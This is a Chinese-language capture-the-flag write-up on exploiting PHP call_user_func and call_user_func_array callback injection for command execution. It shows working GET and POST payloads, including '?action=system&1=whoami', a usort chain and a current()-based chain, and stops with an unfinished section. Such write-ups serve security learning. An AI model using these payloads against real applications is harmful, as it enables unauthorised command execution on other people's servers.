5道挑战题writup
一
引言
-
system
是 PHP 的内置函数,直接传递system
(而不是字符串'system'
)会导致 语法错误(system
会被当作常量,未定义时会报错)。 -
['a' => 'ls']
是一个关联数组,但system()
函数只接受 字符串参数(要执行的命令),无法直接处理数组
方法一
<?php$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {unset($parameters['action']);
}$a = call_user_func($action, ...$parameters);
在这题我们需要传入两个参数(action、parameters)action是通过GET传入而parameters是直接就可以传入,再call_user_func()函数中$acrion作为回调函数的位置,所以我们要传入执行函数如system等,第二个传入参数的位置是要带入回调函数执行,所以我们可以在parameters这里输入我们的执行语句如ls、whoami。当我传入
localhost:8000/test.php?action=system&1=whoami
但是我发现传入的时候是1=whoami这是一个数组(引言)
这时候$parameters前面有...可以看出这是一个可变参数(接收任意数量的参数),那么我便可以传入数组
我想看一下如果是call_user_func_array是不是可以不用...就可以直接执行 因为array会循环进入system里面执行。
<?php$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {unset($parameters['action']);
}$a = call_user_func_array($action, $parameters);
可以可以
方法二
usort(array &$array, callable $callback)
usort函数传入的参数第二个是回调函数可以将第一个传入的参数放入第二个执行,那么我们的第二个方案就来了。
?action=usort&0[0]=system&0[1]=ls&1=call_user_func
在这里面第一个里面传入[0][0]=system,[0][1]=ls,[1]=call_user_func。usort就会将它这样排列
call_user_func(system,ls)
system(ls)
就可以顺利执行我们来断点调试一下。
跟我们想的一样
二
方法一
<?php$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {unset($parameters['action']);
}call_user_func($action, $parameters)($_POST['a'])($_POST['b']);
这一题跟上一题的变化是将可变参数删除,在后面添加了($_POST['a'])($_POST[;b'])
主播在看到这道题的想法是两个POST传入的参数肯定是有用的跟第一题的方法肯定不一样
php里面有一个函数current
<?php
$transport = array('foot', 'bike', 'car', 'plane');
$mode = current($transport); // $mode = 'foot';
$mode = next($transport); // $mode = 'bike';
$mode = current($transport); // $mode = 'bike';
$mode = prev($transport); // $mode = 'foot';
$mode = end($transport); // $mode = 'plane';
$mode = current($transport); // $mode = 'plane';$arr = array();
var_dump(current($arr)); // bool(false)$arr = array(array());
var_dump(current($arr)); // array(0) { }
?>
指针指向最后输入的那个plane
我们再来看
call_user_func($action, $parameters)($_POST['a'])($_POST['b']);
主播将可以将它分为三个部分看
首先执行的是call_user_func($acrion,$parameters)-->one
one($_POST['a'])--->twe
two($_POST['b'])
那么我可以使用current函数首先我们第一个call_user_func里面可以这样传入
$action=current&x=current
这样call_user_func(current,'x'=>'current')
这样输出的就是current函数
就变成了current($_POST['a'])
这样指针自然就指向了输入的这个值a就变成了
a($_POST['b'])
这时候主播就有想法了
我们将a传入system
b传入执行语句如ls是不是就可以执行了
这里的时候报错了我的发???
说主播传入的不是一个string类型
ok嘛他认为我传入的system是一个假的字符串OK嘛
刚刚主播发现在array里面传入就会被自动加上''那么我可以将传入的a变为一个数组这样就ok了
ok啊
方法二
Closure::fromCallable闭包函数
也有回调函数。是不是也可以利用呢 明天再写